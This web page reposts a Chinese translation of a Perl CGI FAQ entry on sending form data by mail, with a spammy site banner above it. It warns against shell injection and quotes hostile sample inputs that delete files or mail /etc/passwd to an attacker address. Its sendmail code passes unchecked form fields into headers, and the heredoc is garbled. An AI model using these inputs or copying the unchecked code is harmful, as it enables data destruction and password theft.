达仁堂软件基地:打造最安全放心的免费绿色软件360极速体育nba直播吧_nba百事通极速体育_nba直播 jrs站!

Per CGI 程式设计疑难杂症

2019-11-24来源:
其实做这个很容易。您的 CGI script 必须能做到这两件事:      将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.

其实做这个很容易。您的 CGI script 必须能做到这两件事: 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。 我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: $cgi_form = new CGI::Form; $from = $cgi_form->param('from'); $name = $cgi_form->param('name'); $to = $cgi_form->param('to'); $subject = $cgi_form->param('subject'); $message = $cgi_form->param('message'); open SENDMAIL, "/usr/bin/sendmail -t -n"; print SENDMAIL < To: $to Reply-To: $from Subject: $subject $message End_of_Mail 有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。 网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 【译者】gateway 在此指送 email 的 CGI 程式 open MAIL, "mail -s 'Subject' $to"; +-- 可能会出问题的漏洞?。?! 如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料: ; rm -fr / ; 那麽您的麻烦可大了*。 【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。 在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。 ; mail joe@crackerland.org
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

热门文章